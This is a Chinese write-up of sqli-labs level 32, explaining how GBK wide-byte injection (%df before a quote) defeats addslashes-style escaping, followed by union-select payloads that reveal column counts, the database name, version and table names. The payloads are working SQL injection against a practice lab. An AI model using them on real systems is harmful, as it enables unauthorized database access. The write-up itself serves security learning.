sqli-第三十二关——bypass addslashes

一:宽字节注入

先查看源码

观察转义函数 check_addslashes()里面的三行表达式

第一行

复制代码
 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  

part1: '/'. preg_quote('\\') .'/'

转义了反斜杠:假设我们输入a\b

先在preg_quote进行第一层转义,将 \ 转义为两个反斜杠,输出 /\\/

然后再替换字符串 \\\\\\,实际表示出三个反斜杠,因为第一\是php解析层,解析完变成 \\\\,第二圈是正则表达式解析层,所以实际表示三个反斜杠

所以会输出a\\\b;

作用:把字符串所有的 \ 替换成 \\

第二行

复制代码
$string = preg_replace('/\'/i', '\\\'', $string);

作用:把所有的 ' 替换成 \'

第三行

复制代码
$string = preg_replace('/\"/', "\\\"", $string);

作用:把所有的 " 替换成 \"

反斜杠( \ )在编程中是转义字符,可以让后面的特殊字符失去其特殊意义

例如,\' 表示 " 这是一个普通的单引号,不是SQL语句的结束符 "

宽字节的格式是在地址后面加一个%df,再加单引号,

因为反斜杠的编码是%5c,连起来%df&5c对应GBK编码中的 ' 運 ' 字,也就是说,数据库实际看到的是

复制代码
SELECT * FROM users WHERE id='運' OR 1=1 --'

这样单引号就成功逃逸出来了,也就是说 or 1=1的恶意代码执行了

二:判断闭合类型

输入?id=1',可以通过提示发现被转义了

我们尝试宽字节注入 ,成功报错

复制代码
?id=1%df%27

--+尝试闭合

​编辑 文章

闭合成功

三:开始注入:

1.爆列数

复制代码
?id=1%df%27%20order%20by%201,2,3,4--+

2.爆回显位

复制代码
?id=-1%df%27%20union%20select%201,2,3--+

3.爆库名和版本号

复制代码
?id=-1%df%27%20union%20select%201,database(),version()--+

4.联合查询爆表名,行数:

复制代码
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

❀❀❀ 完结撒花!!!❀❀❀

相关推荐
昵称画1 天前
交接班记录电子化:三班之间的信息不漏
开发语言·数据库·人工智能·低代码·php
迷途之人不知返1 天前
【文件系统】-4-软硬连接
linux
沙蒿同学1 天前
不引 Ghostscript:我用纯 Go 给 PDF 做了一场「压缩手术」
前端·后端·github
缓慢更新1 天前
审批的加签与会签:多人意见怎么合
android·java·数据库·低代码·rxjava
变与不变8061 天前
jQuery细节以及使用应用场景
前端·javascript·jquery
跨境联盟1 天前
大健康实体如何搭建产品差异化:对比普通营养品与合规跨境膳食补充剂服务模式
数据库·ai·健康医疗·健康管理·精准营养
有想法的py工程师1 天前
PostgreSQL EXPLAIN中的Cost模型分析(random_page_cost参数):优化器眼中的代价世界与执行计划生成
数据库·postgresql
前进的李工1 天前
飞书企业知识库设计+后端高频八股
数据库·redis·后端·mysql·性能优化·飞书·rag
1234567890@world1 天前
正点原子 ATK-DLRK3568 嵌入式Linux系统开发手册V1.3 详细总结
linux·stm32·单片机
sun_weitao1 天前
极简版 MCP 工具实现方案
java·linux·服务器